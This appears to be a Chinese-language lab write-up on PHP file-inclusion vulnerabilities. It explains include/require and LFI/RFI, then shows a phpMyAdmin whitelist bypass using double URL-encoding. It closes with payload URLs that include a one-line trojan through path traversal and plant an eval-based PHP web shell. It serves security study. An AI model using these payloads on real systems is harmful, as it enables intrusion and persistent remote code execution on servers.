1.概念
1.文件包含:利用开发语言的内置文件包含函数,在一个代码文件中引入了另外一个代码文件
一句话概括:文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。
文件包含核心就是引用。
2.php常用的文件包含函数
- include():文件包含,代码用到才去读取使用
- require():文件包含,在代码执行前就去读取包含的文件一起执行
- include_once():同一个文件只包含一次
- require_once():同一个文件只包含一次
区别:include遇到错误还会往下执行,但是require不会
知识点—LFI&RFI:
- LFI(Local File Include):本地文件包含
- RFI(Remote File Include):远程文件包含
2.靶场
1.本地代码审计phpadmin源码,搜索文件包含函数include
2.分析关键函数的触发条件
1、target传参不为空和0
2、target传参必须为字符串
3、传参不能index开头
4、传参不能在白名单中
5、满足Core类中的checkPageValidity方法中的为true的条件
分析Core类中的checkPageValidity方法中的为true的条件
第三个if要求白名单,不可行;第四个if截取问号之前的函数进行白名单匹配,但传进include之后问号会报错;第五个if截取问号之前的函数进行白名单匹配,两次url编码传进include绕过
3.登录靶场建立数据库数据表,写入一句话木马
查看数据库路径
木马尝试,payload:http://wjbh522a.zs.aqlab.cn/index.php?target=server_binlog.php%253F/…/…/…/…/…/…/…/…/phpStudy/MySQL/data/plot/test.frm&888=phpinfo();
4.创建php webshell拿数据
上面的木马直接用菜刀连不上,需要浏览器登录才能访问,所以写一个php webshell
payload:http://wjbh522a.zs.aqlab.cn/index.php?target=server_binlog.php%253F/…/…/…/…/…/…/…/…/phpStudy/MySQL/data/plot/test.frm&888=file_put_contents(‘222.php’,‘<?php eval($_REQUEST[555])?>;’);